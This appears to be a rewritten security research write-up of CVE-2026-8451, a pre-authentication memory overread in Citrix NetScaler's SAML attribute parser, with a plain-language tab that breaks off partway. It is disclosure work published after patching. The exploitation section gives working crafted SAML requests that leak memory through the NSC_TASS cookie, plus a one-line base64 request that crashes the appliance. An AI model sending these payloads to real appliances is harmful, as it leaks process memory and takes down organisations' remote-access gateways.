Skip to content
Info disclosure Write-up Advanced

CitrixBleed To Infinity And Beyond (Citrix NetScaler Pre-Auth Memory Overread CVE-2026-8451)

A pre-authentication memory overread exists in Citrix NetScaler's hand-rolled SAML XML attribute parser, which fails to treat newlines as terminators for unquoted attribute values and keeps reading past the intended end of the value. An attacker could send crafted SAML requests to leak memory contents from the appliance.

Aliz Hammond Follow

Published on labs.watchtowr.com

This research is a glimpse into the capability powering the watchTowr Platform, a Preemptive Exposure Management solution. We enable organizations to autonomously validate and mitigate their exposure to emerging threats, ahead of in-the-wild exploitation.

Aliz Hammond, on labs.watchtowr.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 17 min read.

Context

Citrix NetScaler (formally rebranded, then un-rebranded) is a family of application delivery controllers and VPN gateway appliances found in virtually every large enterprise network. NetScaler handles load balancing, SSL offloading, authentication and remote access, and NetScaler Gateway specifically serves as the front door for thousands of organisations' remote access infrastructure.

The vulnerability discussed here, CVE-2026-8451, is another instance of the memory disclosure class that has come to be known as CitrixBleed. Citrix describes it as "Insufficient input validation leading to memory overread" and rated it a CVSS of 8.8. For it to be exploitable, the NetScaler appliance has to be configured as a SAML IDP.

Citrix lists the following affected products:

  • NetScaler ADC and NetScaler Gateway 14.1 BEFORE 14.1-72.61
  • NetScaler ADC and NetScaler Gateway 13.1 BEFORE 13.1-63.18
  • NetScaler ADC FIPS BEFORE 14.1-72.61 FIPS
  • NetScaler ADC FIPS and NDcPP BEFORE 13.1-37.272

The attack surface of a SAML IdP is small: effectively a handful of authentication endpoints. The natural starting point is /saml/login, where clients kick off authentication by submitting a base64-encoded XML document. Inside that document is an AuthnRequest describing the issuer, destination, timestamps and other attributes.

Setup

The researchers had a NetScaler up and running, configured as a SAML IdP. A quick shell command drops you into the underlying operating system, where the relevant log file can be tailed:

Text
/var/log/ns.log

That gives a front-row seat to exactly how the parser interprets input. The hunting work began in March 2026, while analysing patches and changes to reproduce CVE-2026-3055 (CitrixBleed4(?)), which affected NetScaler configured as an IDP provider.

From the original on labs.watchtowr.com

Finding it

XML parsers are deceptively difficult to implement correctly, and Citrix appears to have chosen a different path from relying on well-tested libraries. The result includes snippets like the following, taken from the code responsible for parsing XML attributes such as foo="bar":

C
cursor = <some string input>

whitespaceCharList = 0x100002600;

for ( lookahead = (v32 + 28); ; lookahead++ )
{
	ch = *cursor;
	if ( ch > '=' )
		break;
	if ( !_bittest64(&whitespaceCharList, ch) )
	{
		if ( ch == '=' )
		{
			while ( 1 )
			{
				ch = *lookahead;
				if ( ch > 0x20 || !_bittest64(&whitespaceCharList, ch) )
					break;
				++lookahead;
			}
			cursor = lookahead;
		}
		break;
	}
	++cursor;
}

if ( ch == '\'' || ch == '"' )
{
	terminator = ch;
	first = *++cursor;
}
else
{
	terminator = ' ';
	first = ch;
}
if ( first == terminator )
	return 0xE0002;

scanPos = cursor;
while ( first != '\0' && first != '>' )
{
	scanPos++;
	first = *scanPos;
	if (first == terminator)
		break
}

if ( scanPos == cursor )
	return 0xE0002;

out->value_ptr = cursor;
out->value_len = scanPos - cursor;

The _bittest64() call is not doing anything exotic. It checks whether a character belongs to a predefined set, encoded as bit positions within the constant 0x100002600. In practice that matches 0x09, 0x0A, 0x0D and 0x20: horizontal tab, line feed, carriage return and space. ASCII values range from 0 to 255 while the lookup table is only 64 bits wide, so the > 0x20 check exists to avoid indexing beyond the end of that table.

The function's job is to locate the value portion of an XML attribute and return both a pointer to the value and its length. Two characteristics made the researcher suspicious. First, there are no obvious bounds checks: if the input is malformed enough, the parser could read past the end of the input buffer, for example if an attribute value is never terminated. Second, the termination logic differs between quoted and unquoted values. Throughout most of the function _bittest64() recognises the characters that terminate a value, but in the unquoted path whitespace is no longer treated as a terminator. Instead the parser only stops at a null byte, a closing >, or the matching quote character.

Exploitation

Step 1: a clean baseline

A minimal SAML AuthnRequest gives a baseline before progressively breaking things:

XML
<samlp:AuthnRequest
	xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
	xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
	ID="[redacted]"
	Version="2.0"
	ProviderName="SP test"
	Destination="<http://idp.example.com/SSOService.php>"
	ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST"
	AssertionConsumerServiceURL="<http://sp.example.com/demo1/index.php?acs>">
	<saml:Issuer><http://sp.example.com/demo1/metadata.php></saml:Issuer>
	<samlp:NameIDPolicy Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress" AllowCreate="true"/>
	<samlp:RequestedAuthnContext Comparison="exact">
	<saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml:AuthnContextClassRef>
	</samlp:RequestedAuthnContext>
</samlp:AuthnRequest>

After base64-encoding and sending it:

HTTP
POST /saml/login HTTP/1.1
Host: all-ur-boxen.com
Content-Length: 1090

SAMLRequest=[redacted]%[redacted]%[redacted]%2b

The response is a 302 whose contents are not particularly interesting:

HTTP
HTTP/1.1 302 Object Moved
Location: /vpn/index.html
Set-Cookie: NSC_TASS=[redacted]=;HttpOnly;Path=/;Secure
Content-Security-Policy: default-src 'self'; script-src 'self'; connect-src 'self'; img-src <http:
Set-Cookie: NSC_AAAC=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_EPAC=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_USER=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_TEMP=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_PERS=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_BASEURL=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: CsrfToken=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: CtxsAuthId=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: ASP.NET_SessionId=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_TMAA=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT
Set-Cookie: NSC_TMAS=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_TEMP=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT
Set-Cookie: NSC_PERS=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT
Set-Cookie: NSC_AAAC=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 398
Cache-control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: text/html; charset=utf-8

<html><head><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=UTF-8"><script type="text/javascript" src="/vpn/resources.js"></script><script type="text/javascript" src="/vpn/init/redirection_body_resources.js"></script></head><body><span id="This object may be found "></span><a href="/vpn/index.html"><span id="here"></span></a><span id="Trailing phrase after here"></span></body></html>

In the log:

XML
AuthnReq start tag parsed, id=<[redacted]>,
acs=<http://sp.example.com/demo1/index.php?acs>, forceAuth=<0>, binding=<POST>,
following data  "    ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST"        AssertionConsumerServiceURL=""

NetScaler extracts the ID and AssertionConsumerServiceURL attributes correctly, and ForceAuthn falls back to its default value.

Step 2: terminate an unquoted value with a newline

Given the difference between quoted and unquoted termination, the next test replaces the space after AssertionConsumerServiceURL with a newline:

XML
<samlp:AuthnRequest Version="2.0" AssertionConsumerServiceURL=11
id=22>
<saml:Issuer>watchtowr</saml:Issuer>
</samlp:AuthnRequest>

Base64-encoded and POSTed to /saml/login:

HTTP
POST /saml/login HTTP/1.1
Host: [redacted]
Content-Length: 190

SAMLRequest=[redacted]%[redacted]==

The response is practically the same as before:

HTTP
HTTP/1.1 302 Object Moved
Location: /vpn/index.html
Set-Cookie: NSC_TASS=[redacted]==;HttpOnly;Path=/;Secure
Content-Security-Policy: default-src 'self'; script-src 'self'; connect-src 'self'; img-src <http:
Set-Cookie: NSC_AAAC=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_EPAC=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_USER=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_TEMP=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_PERS=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_BASEURL=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: CsrfToken=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: CtxsAuthId=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: ASP.NET_SessionId=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_TMAA=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT
Set-Cookie: NSC_TMAS=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_TEMP=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT
Set-Cookie: NSC_PERS=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT
Set-Cookie: NSC_AAAC=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 398
Cache-control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: text/html; charset=utf-8

<html><head><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=UTF-8"><script type="text/javascript" src="/vpn/resources.js"></script><script type="text/javascript" src="/vpn/init/redirection_body_resources.js"></script></head><body><span id="This object may be found "></span><a href="/vpn/index.html"><span id="here"></span></a><span id="Trailing phrase after here"></span></body></html>

The log is not so coy:

XML
AuthnReq start tag parsed, id=<22>, acs=<11 id=22>, forceAuth=<0>, binding=<Unknown>,
following data  Version="2.0" AssertionConsumerServiceURL=11 id=22> <saml:Issuer>watchtowr</saml:Issuer> </samlp:Au"

The acs value has been parsed as 11 id=22, which is clearly wrong: the value should simply be 11. The parser read past the correct end of the attribute, failed to recognise the newline as a terminator, and continued consuming input until it encountered the > terminating the AuthnRequest start tag.

Step 3: leave the start tag unclosed

The parser is also relaxed about what constitutes a valid closing tag: it accepts a < as the terminator for an AuthnRequest start tag instead of >. Terminating both AssertionConsumerServiceURL and ID with newlines and leaving the opening tag unclosed gives:

XML
<samlp:AuthnRequest Version="2.0" AssertionConsumerServiceURL=
id=
<saml:Issuer>watchtowr</saml:Issuer>
</samlp:AuthnRequest>

Base64 and send:

HTTP
POST /saml/login HTTP/1.1
Host: [redacted]
Content-Length: 180

SAMLRequest=[redacted]=

The response is again uninteresting:

HTTP
HTTP/1.1 302 Object Moved
Location: /vpn/index.html
Set-Cookie: NSC_TASS=[redacted]==;HttpOnly;Path=/;Secure
Content-Security-Policy: default-src 'self'; script-src 'self'; connect-src 'self'; img-src <http:
Set-Cookie: NSC_AAAC=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_EPAC=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_USER=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_TEMP=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_PERS=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_BASEURL=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: CsrfToken=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: CtxsAuthId=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: ASP.NET_SessionId=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_TMAA=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT
Set-Cookie: NSC_TMAS=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_TEMP=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT
Set-Cookie: NSC_PERS=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT
Set-Cookie: NSC_AAAC=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 398
Cache-control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: text/html; charset=utf-8

<html><head><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=UTF-8"><script type="text/javascript" src="/vpn/resources.js"></script><script type="text/javascript" src="/vpn/init/redirection_body_resources.js"></script></head><body><span id="This object may be found "></span><a href="/vpn/index.html"><span id="here"></span></a><span id="Trailing phrase after here"></span></body></html>

But the generated log is far from boring:

XML
AuthnReq start tag parsed, id=<<saml:Issuer>, acs=<id= <saml:Issuer>,
forceAuth=<0>, binding=<Unknown>, following data  Version="2.0" AssertionConsumerServiceURL= id= <saml:Issuer>watchtowr</saml:Issuer> </samlp:AuthnRe"

The AssertionConsumerServiceURL value is not terminated at the newline; the parser keeps reading until it encounters the > from the closing Issuer tag. The ID attribute behaves the same way. The parser is reading well beyond the intended bounds of each attribute value, though still only within XML present in the input buffer.

Step 4: where the overread data ends up

On success the function returns an HTTP response containing an NSC_TASS cookie, which stores the ID and AssertionConsumerServiceURL values parsed from the incoming XML request:

Text
NSC_TASS=[redacted]==

This decodes to:

Text
00000000  61 73 64 66 00 49 44 3d  3c 73 61 6d 6c 3a 49 73  |asdf.ID=<saml:Is|
00000010  73 75 65 72 26 62 69 6e  64 3d 70 6f 73 74 26 41  |suer&bind=post&A|
00000020  43 53 55 52 4c 3d 69 64  3d 0a 3c 73 61 6d 6c 3a  |CSURL=id=.<saml:|
00000030  49 73 73 75 65 72 00                              |Issuer.|

asdf is the configured provider name. The ID field now contains <saml:Issuer, and the ACSURL field has similarly consumed data well beyond the intended attribute value. The overread is still confined to the request buffer.

From the original on labs.watchtowr.com

Step 5: reading beyond the end of the request

Pushing the parser past the end of the request buffer required the login request to satisfy a few conditions:

  • It must contain both a <samlp:AuthnRequest> and a corresponding </samlp:AuthnRequest>; the request cannot simply be left unterminated.
  • It must contain a valid <saml:Issuer>watchtowr</saml:Issuer>.
  • It must contain either an AssertionConsumerServiceURL= or ID attribute terminated by a newline, or not terminated at all.

At first glance those requirements seem mutually exclusive. They are not, because the parser is also relaxed about element nesting:

XML
<samlp:AuthnRequest Version="2.0" AssertionConsumerServiceURL=11
id=22
</samlp:AuthnRequest>
<saml:Issuer>watchtowr</saml:Issuer>

Here the Issuer is moved outside the AuthnRequest. Any sane parser would reject this, but the NetScaler appliance accepts it:

XML
AuthnReq start tag parsed, id=<22 <saml:Issuer>, acs=<11 id=22 <saml:Issuer>, forceAuth=<0>, binding=<Unknown>

This only works if the opening AuthnRequest tag is left unterminated. If it is closed normally, the parser rejects the document, which strongly suggests the behaviour is tied to the parser's attribute-handling logic.

The parser is also tolerant of attribute ordering:

XML
<samlp:AuthnRequest
<saml2:issuer>watchtowr</saml2:issuer>
</samlp:AuthnRequest>
Version="2.0"
id="11"
AssertionConsumerServiceURL="22"

This yields a successful response, although the extracted details are incorrect:

XML
AuthnReq start tag parsed, id=<>, acs=<22>, forceAuth=<0>, binding=<Unknown>

The acs value is correct (22) because the value is enclosed in quotes. The next step removes the quotes and leaves the value unterminated:

XML
<samlp:AuthnRequest
<saml2:issuer>watchtowr</saml2:issuer>
</samlp:AuthnRequest>
Version="2.0"
id="11"
AssertionConsumerServiceURL=

And in the log:

XML
AuthnReq start tag parsed, id=<>, acs=<▒^M▒ᆳ▒="2.0" id="11"
AssertionConsumerServiceURL="22"ᆳ▒mple.com/demo1/index.php</saml:Issuer>,
forceAuth=<0>, binding=<Unknown>
From the original on labs.watchtowr.com

The parser is no longer just reading extra XML. It is pulling arbitrary binary data from beyond the end of the XML buffer and appending it to the parsed value. The remaining question is whether that value makes it back via the NSC_TASS cookie:

Text
NSC_TASS=[redacted]=

Decoded:

Text
00000000  61 73 64 66 00 49 44 3d  26 62 69 6e 64 3d 70 6f  |asdf.ID=&bind=po|
00000010  73 74 26 41 43 53 55 52  4c 3d f0 0d 90 ef be ad  |st&ACSURL=......|
00000020  de 3d 22 32 2e 30 22 0a  69 64 3d 22 31 31 22 0a  |.="2.0".id="11".|
00000030  41 73 73 65 72 74 69 6f  6e 43 6f 6e 73 75 6d 65  |AssertionConsume|
00000040  72 53 65 72 76 69 63 65  55 52 4c 3d 22 32 32 22  |rServiceURL="22"|
00000050  ef be ad de 6d 70 6c 65  2e 63 6f 6d 2f 64 65 6d  |....mple.com/dem|
00000060  6f 31 2f 69 6e 64 65 78  2e 70 68 70 3c 2f 73 61  |o1/index.php</sa|
00000070  6d 6c 3a 49 73 73 75  65  72 00                    |ml:Issuer.|

The ACSURL value now contains binary data that should never have been returned, including the unmistakable 0xdeadbeef fill pattern. The parser has read beyond the end of the XML buffer, and NetScaler has returned memory that was never supposed to leave the process.

From the original on labs.watchtowr.com

Unlike the original CVE-2026-3055, where kilobytes of binary data can be leaked, this overread terminates when various control characters are read, such as NULL or even >. In practice, varying the request length consistently squeezed a few bytes out of the server:

Text
c:\>python watchTowr-vs-Netscaler-CVE-2026-8451.py <https://[redacted]>
..
Leaked bytes:
00000000  f0 0d 90 de de de de de de de de de de de de de   |................|
00000010  de de de de de de de de de de de de de de de de   |................|
00000020  de de de de de de de de de de de de de de de de   |................|
00000030  de de de de de de de de de de de de de de de de   |................|
00000040  de de de de de de de de de de de de de de ed a7   |................|
00000050  0c a1 35 00                                       |..5.|
..

There is clearly data leaking (0xf00d), and what appears to be a data pointer (0xa10ca7ed). The researcher cannot say with certainty what this pointer references, but it looks plausible. If it is a valid process pointer, the bug graduates from a simple information disclosure to a genuine infoleak primitive, and paired with a suitable memory corruption vulnerability it could be the kind of building block needed for a full device compromise.

Step 6: crashing the appliance

For demonstrating impact rather than building exploit chains, there is a much easier route. Requests as simple as the following reliably crash the target system:

XML
<samlp:AuthnRequest ID=
HTTP
POST /saml/login HTTP/1.1
Host: [redacted]
Content-Length: 46

SAMLRequest=PHNhbWxwOkF1dGhuUmVxdWVzdCBJRD0%3D

This request causes the nsppe process to crash:

From the original on labs.watchtowr.com

Detection artefact generator

A Detection Artefact Generator to determine your own susceptibility and inform remediation is available on GitHub. Running it produces the same leaked-bytes output shown above:

Root cause

The root cause is the hand-written XML attribute parser. In the unquoted-value path, whitespace is not treated as a terminator: the parser only stops at a null byte, a closing >, or the matching quote character. There are no obvious bounds checks, so a value that is never properly terminated causes the parser to keep scanning past the end of the attribute, past the end of the XML document, and into adjacent memory. The parser's tolerance of an unclosed start tag (accepting < as a terminator) and of arbitrary element nesting and attribute ordering lets an attacker construct a document that satisfies the SAML endpoint's structural requirements while still leaving an attribute value unterminated. The overread value is then embedded in the NSC_TASS cookie and returned to the client, turning the parsing bug into a memory disclosure. The report does not describe any defence that would have stopped this.

Impact

An attacker can cause a NetScaler configured as a SAML IdP to return small amounts of process memory in the NSC_TASS cookie. The leak is limited: the overread stops at control characters such as NULL or >, so only a few bytes can be squeezed out per request, in contrast to CVE-2026-3055 where kilobytes can be leaked. The leaked data includes what appears to be a data pointer, which, if valid, makes this a genuine infoleak primitive that could be combined with a memory corruption vulnerability towards full device compromise. Separately, a trivial request reliably crashes the nsppe process. The report does not state which configurations beyond SAML IdP are affected, nor whether exploitation has been observed in the wild.

Fix

Citrix published an advisory and patches on 30th June 2026, addressing the affected versions listed above. From the root cause, a fix would need to ensure that unquoted attribute values are terminated on whitespace as well as on null, > and quote characters, and that the scan loop is bounded by the end of the input buffer.

Variants to test

  1. Terminate other unquoted attributes with a newline or carriage return in SAML documents and watch the log for values that extend past the intended end. A positive result is a parsed value containing characters from the following markup.
  2. Leave an attribute value unterminated at the very end of the document, as in AssertionConsumerServiceURL=, and inspect the NSC_TASS cookie for bytes that are not valid XML. A positive result is binary data or fill patterns such as 0xdeadbeef.
  3. Move required elements such as Issuer outside the AuthnRequest while leaving the start tag unclosed. A positive result is a successful 302 with a log line showing the Issuer text absorbed into id or acs.
  4. Reorder attributes after the closing tag, as in the Version/id/AssertionConsumerServiceURL example, and check whether the endpoint still accepts the document. A positive result is a successful response with incorrect extracted values.
  5. Vary request length systematically and record how many bytes leak before a control character stops the read. A positive result is a consistent few-byte leak across lengths.
  6. Send a minimal unterminated attribute such as <samlp:AuthnRequest ID= and check whether the nsppe process restarts. A positive result is a crash or service restart.

Timeline

Date Detail
28th March 2026 watchTowr discovers issue, notifies Citrix and affected clients
28th March 2026 Citrix responds with what appears to be an automatic reply
30th April 2026 watchTowr requests update from Citrix
7th May 2026 watchTowr again requests update from Citrix
7th May 2026 Citrix advises that a fix is being developed
14 June 2026 Citrix advise they expect to publish on 29th June
25th June 2026 Citrix advises that a fix may be delayed by 'a few days'; watchTowr responds that this is acceptable
30th June 2026 Citrix publish advisory and patches
30th June 2026 watchTowr publishes research, and memes
From the original on labs.watchtowr.com

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 33 min read.

What happened, in plain words

A security research team found a bug in a widely used piece of enterprise software called Citrix NetScaler. NetScaler is the box that sits in front of a company's internal systems and decides who gets in. The bug lets an attacker send a specially crafted login request and get back small pieces of the appliance's private memory, the working area where the program keeps data it never intends to show anyone. The same bug can also be used to crash the appliance outright.

The bug is in the part of NetScaler that reads XML, a text format used to exchange structured data. When NetScaler reads an attribute value that is not wrapped in quotes, it can be tricked into reading past the end of the text it was given and into whatever happens to sit next to it in memory. The result is copied into a cookie that is sent back to the person who made the request.

This is the latest in a series of similar bugs in NetScaler that the community has nicknamed CitrixBleed. The researchers gave this one the name "CitrixBleed To Infinity And Beyond". Citrix assigned it the identifier CVE-2026-8451 and a severity score of 8.8 out of 10. The researchers reported it in March 2026, and Citrix published an advisory and patches on 30th June 2026.

From the original on labs.watchtowr.com

Some background you will need

Before walking through the bug, here are the ideas the rest of the article relies on.

A server and a client. A server is a computer that answers requests. A client is the program making them, usually your browser. When you visit a website, your browser is the client and the website's computer is the server.

HTTP. The language browsers and servers use to talk. A request looks like a short block of text: a method such as POST, a path such as /saml/login, some headers, and sometimes a body. The server answers with a status code such as 302 (meaning "look somewhere else") and its own headers and body.

An endpoint. A specific address on a server that does one job. /saml/login is an endpoint that handles login attempts.

An API. A defined way for one program to ask another to do something. An endpoint is part of an API: it is the agreed address and format for a particular request.

A cookie. A small piece of text a server asks your browser to store and send back on later requests. It is how a website remembers who you are between page loads. Cookies are set with a Set-Cookie header in the server's response.

A token. A value, often inside a cookie, that stands in for something else, such as proof that you have logged in. If someone else gets your token, they can often act as you.

XML. A text format for structured data, built from tags in angle brackets. <name>value</name> is an element called name whose content is value. Elements can carry attributes, written as name="value" inside the opening tag. XML is strict about structure: tags normally have to be properly opened and closed and nested inside one another.

A parser. The part of a program that reads text in a format such as XML and turns it into data the program can use. Parsers are surprisingly hard to write correctly, because there are many ways to write malformed input, and a parser that mishandles one of them can misbehave badly.

A buffer. A reserved chunk of memory holding data being worked on, for example the text of an incoming request. Reading past the end of a buffer means reading memory that belongs to something else.

A memory overread (or out-of-bounds read). When a program reads memory beyond the area it was supposed to read. If the data it reads is then shown to the person who sent the request, the bug becomes a memory disclosure or information leak: private data leaves the program.

Base64. A way of encoding arbitrary bytes as plain letters and digits so they can travel safely inside text formats such as HTTP form fields. It is not encryption; anyone can decode it. A base64 string often ends in = or ==.

SAML. A standard for single sign-on: one system, the identity provider, confirms who you are, and another system, the service provider, trusts that confirmation. The identity provider is often abbreviated IdP.

An AuthnRequest. The SAML message a service provider sends to an identity provider to say "please authenticate this user". It is an XML document containing details such as an identifier, a destination, and where to send the user afterwards.

A null byte. A byte with the value zero, often used in programs to mark the end of a piece of text.

Hexadecimal. A way of writing byte values using digits 0 to 9 and letters a to f. 0x20 means the byte with decimal value 32, which is a space character. 0xdeadbeef is a famous made-up value programmers use as filler, because it reads as English words in hex.

A pointer. A number that records where something lives in memory. Pointers are internal details a program should never reveal, because they help an attacker work out the layout of memory.

A denial of service. Making a service unavailable, for example by crashing it.

CVSS. A standard scoring system for the severity of a security bug, from 0 to 10.

What Citrix NetScaler is, and why it matters

Citrix NetScaler is a family of appliances: specialised computers sold to do one networking job well. They sit in front of other systems and handle load balancing (spreading traffic across several servers), SSL offloading (doing the encryption work so the servers behind do not have to), authentication, and remote access. NetScaler Gateway is the specific product that acts as the front door for remote workers: employees connect to it from outside, and it lets them into the internal network.

Because it is the front door, it is a very attractive target. If you can read data out of it or crash it, you affect every organisation that relies on it. The researchers describe it as exactly the kind of product they love to look at, and also a natural disaster.

What CVE-2026-8451 is

Citrix describes the bug as "Insufficient input validation leading to memory overread". In plain words: the software did not check its input carefully enough, and as a result it read memory it should not have. Citrix rated it 8.8 on the CVSS scale.

One condition matters: the appliance has to be configured as a SAML identity provider. That is a common setup, where NetScaler is the system that checks users' credentials on behalf of other applications.

Citrix lists these affected versions:

  • NetScaler ADC and NetScaler Gateway 14.1 BEFORE 14.1-72.61
  • NetScaler ADC and NetScaler Gateway 13.1 BEFORE 13.1-63.18
  • NetScaler ADC FIPS BEFORE 14.1-72.61 FIPS
  • NetScaler ADC FIPS and NDcPP BEFORE 13.1-37.272

"BEFORE" means any version number lower than the one given is affected; the listed version and later ones contain the fix.

How the researchers started

The work began in March 2026. The researchers were analysing patches for an earlier bug, CVE-2026-3055, also known as CitrixBleed4(?), which affected NetScaler configured as an identity provider. While analysing patches to reproduce that bug, they found this new one.

From the original on labs.watchtowr.com

They set up a NetScaler configured as a SAML identity provider and looked at what an attacker could reach. The answer is: not much. A SAML identity provider exposes only a handful of authentication endpoints. So they started at the most obvious one, /saml/login.

When a user logs in through SAML, the client sends a base64-encoded XML document to an endpoint like this. Inside the XML is the AuthnRequest, which carries the details the identity provider needs.

Getting a view into the parser

To see what the parser does with input, the researchers used a shell command, which drops you into the appliance's underlying operating system, and then watched a log file:

Text
/var/log/ns.log

A log file is a running diary a program writes as it works. Watching it while sending requests is like watching the engine while pressing the pedals: you see exactly how each input is interpreted. The researchers describe this as a front-row seat.

Reading the parser's source code

XML parsers are hard to get right. Most developers use a well-tested library rather than writing their own. Citrix, the researchers found, appears to have chosen a different path from relying on well-tested libraries. Here is a snippet from the code that parses XML attributes such as foo="bar":

C
cursor = <some string input>

whitespaceCharList = 0x100002600;

for ( lookahead = (v32 + 28); ; lookahead++ )
{
	ch = *cursor;
	if ( ch > '=' )
		break;
	if ( !_bittest64(&whitespaceCharList, ch) )
	{
		if ( ch == '=' )
		{
			while ( 1 )
			{
				ch = *lookahead;
				if ( ch > 0x20 || !_bittest64(&whitespaceCharList, ch) )
					break;
				++lookahead;
			}
			cursor = lookahead;
		}
		break;
	}
	++cursor;
}

if ( ch == '\'' || ch == '"' )
{
	terminator = ch;
	first = *++cursor;
}
else
{
	terminator = ' ';
	first = ch;
}
if ( first == terminator )
	return 0xE0002;

scanPos = cursor;
while ( first != '\0' && first != '>' )
{
	scanPos++;
	first = *scanPos;
	if (first == terminator)
		break
}

if ( scanPos == cursor )
	return 0xE0002;

out->value_ptr = cursor;
	out->value_len = scanPos - cursor;

Line by line, in plain words:

  1. cursor = <some string input> sets cursor to point at the text being parsed. A cursor is just a marker for "where we are reading right now".
  2. whitespaceCharList = 0x100002600; stores a set of characters in a single number. Each bit of the number stands for one character. The bits set in 0x100002600 correspond to 0x09, 0x0A, 0x0D and 0x20: tab, line feed, carriage return and space. In other words, this number encodes "the whitespace characters".
  3. The first for loop walks forward through the text looking for the = sign that separates an attribute name from its value. It skips whitespace along the way.
  4. _bittest64(&whitespaceCharList, ch) asks "is this character one of the whitespace characters?". It is a fast way to test membership in a small set. The > 0x20 check exists because the set is only 64 bits wide and character values go up to 255; without the check, the test could look past the end of the set.
  5. Once = is found, the inner while loop skips any whitespace after it, so the cursor lands on the first real character of the value.
  6. The if ( ch == '\'' || ch == '"' ) block checks whether the value starts with a quote. If it does, the matching quote is the terminator, and the cursor moves past the opening quote. If it does not, the value is unquoted, and the terminator is set to a space character.
  7. if ( first == terminator ) return 0xE0002; rejects an empty value such as foo="".
  8. The second while loop scans forward until it finds the terminator. It also stops at a null byte or a >.
  9. Finally, the function hands back two things: out->value_ptr, a pointer to where the value starts, and out->value_len, how many characters the value is.

